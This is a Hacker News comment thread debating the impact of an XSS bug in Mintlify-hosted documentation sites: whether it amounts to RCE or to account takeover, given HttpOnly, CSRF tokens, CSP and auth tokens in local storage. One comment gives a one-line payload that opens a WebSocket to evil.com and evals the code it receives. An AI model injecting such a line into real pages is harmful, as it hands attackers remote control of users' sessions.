Hacker News Reader

Comment by rainonmoon | Hacker News Reader

Nice! So the Cookie is accessible by JavaScript on all of those sites? That would be pretty surprising given the prevalence of HttpOnly, so that doesn't seem clear to me at all. And they're all using Cookie-based auth, you think? You're a bug bounty hunter so I'll defer to your wisdom, but doesn't it seem more likely that an account takeover would be possible via a state-changing request from the user's existing session? Let's say they can abuse it to reset the user's password. Nice, that's an account takeover... for every user not using MFA. But then there are anti-CSRF mitigations. Okay, not insurmountable with an XSS, but implemented differently everywhere. And what if the auth domains are separate to the domain on which the XSS is triggered? Man this seems to get less clear by the minute. Please clear this up for me.

View on HN

XSS is a RCE exploit. It allows you to run any action as if you were the owner of the account. How is that not a full account takeover?

XSS is categorically not an RCE and my point is that mitigations exist which make "It allows you to run any action as if you were the owner of the account" an unwarranted assumption. The writeup shows that it's possible to pop an alert box. That doesn't tell you anything about what's actually possible. Obviously Discord got enough information to take it seriously, but extrapolating that to suggest every third-party using Mintlify is vulnerable to account takeover is highly dubious based on what's presented.

How is XSS not remote code execution? You can do anything, from send fetch requests to the server with full credentials to loggging keystrokes or even open a tunnel and eval payloads...

Anything the user can do, you can do via an XSS attack.

Show me where you can "open a tunnel" using the XSS in this post.

> Anything the user can do, you can do via an XSS attack.

I just explained why this isn't a reasonable assumption. You seem to have multiple fundamental misunderstandings about web application security so I don't think it's constructive for either of us to continue this conversation.

> Show me where you can "open a tunnel" using the XSS in this post.

   new WebSocket("ws://evil.com").addEventListener("message", e => eval(e.data))

> You seem to have multiple fundamental misunderstandings about web application security

Lol yeah sure buddy

Go to Discord and paste that into your console. None of us will hold it against you if you come back and delete these comments once you learn about Content Security Policy.

> Go to Discord and paste that into your console.

The same Discord that configures things so that any time you open the console it greets you with a giant message warning you not to paste anything into the console?

Maybe you should read up on what CSP can and can't do. Once an attacker can execute arbitrary code, they can do anything the client can.

Generally code execution within browser/client-side javascript sandbox is just "XSS".

RCE usually implies server-side code execution (or breaking out of browser sandbox).

Hmm, I've always thought of "RCE" in a more general way, regarding the ability to execute arbitrary code on a computer you don't own. For example some multiplayer games have had exploits that let hosts run arbitrary code on clients that connect to them, and I've seen that called an RCE vulnerability. shrugs

If it’s running code outside of a normal browser sandbox then, yes it’s a RCE. Because it can now access to nearly everything on the user’s computer, including their browser, email, etc.

XSS is limited to accessing just that one website.

Well, llmslave2 is right. If discord.com executes javascript to conduct user actions, and you can execute javascript on discord.com, you are acting on the account as if you were discord.com

Except discord.com doesn't execute JavaScript, the user's browser does. These are meaningful distinctions that delineate the impact. You aren't "discord.com" if you target someone with an XSS exploit, you've only run a script in a user's session. Whether you can actually do anything with that script or not decides whether you can take over the account or not.

Everybody knows that XSS is a client side exploit, you're acting naive by pretending like we're claiming it gives access to a server and ignoring the fact that having control of the client gives you de facto control of whatever account is logged into the client.

It is not as cool as the RPC exploit of React/Next.js where you could call any function on the server-side including “vm.sysexec” or whatever it was, but still not to be fully ignored

Yes, I agree, it’s a cool discovery though

Yes, it's generally a "full account takeover" for a given discord user.

But RCE usually means ability to run any code on the web server, and would generally get you access to _everything_ including full direct access to the database. All accounts and all data, not just a few accounts.

the impact varied by customer. in Discord's case, the auth token is stored in local storage and their docs is hosted on the primary domain; they were susceptible to a full account takeover. X's docs are on a different subdomain but we found a CSRF attack that could facilitate a full account takeover. most companies were significantly affected in one way or another.

Interesting. I agree with the other commenter about the post should've included how an account takeover was possible.

You mention one method being a cookie sent to an attacker-controlled domain, but that in itself is a vulnerability given it being incorrectly scoped (missing HTTPOnly & SameSite atleast).

> the auth token is stored in local storage

Has anyone reported this (rhetorical question)? What in the world could be the justification for this?

In my opinion, any full account takeovers due to XSS is a vulnerability, even ignoring XSS. Changing email/password/phone should require verification back to one of those methods. Or at least input of the previous password.

And to my earlier point, none of that is in the writeup here to support the enormous claims made in framing the finding. This is good work, and congratulations on the bounty. I hope you have a long career in security ahead. Obviously you communicated your findings to Discord clearly enough for them to understand the impact. I look forward to reading more research from you all in the future and I hope the technical details will accompany it.

Reply on news.ycombinator.com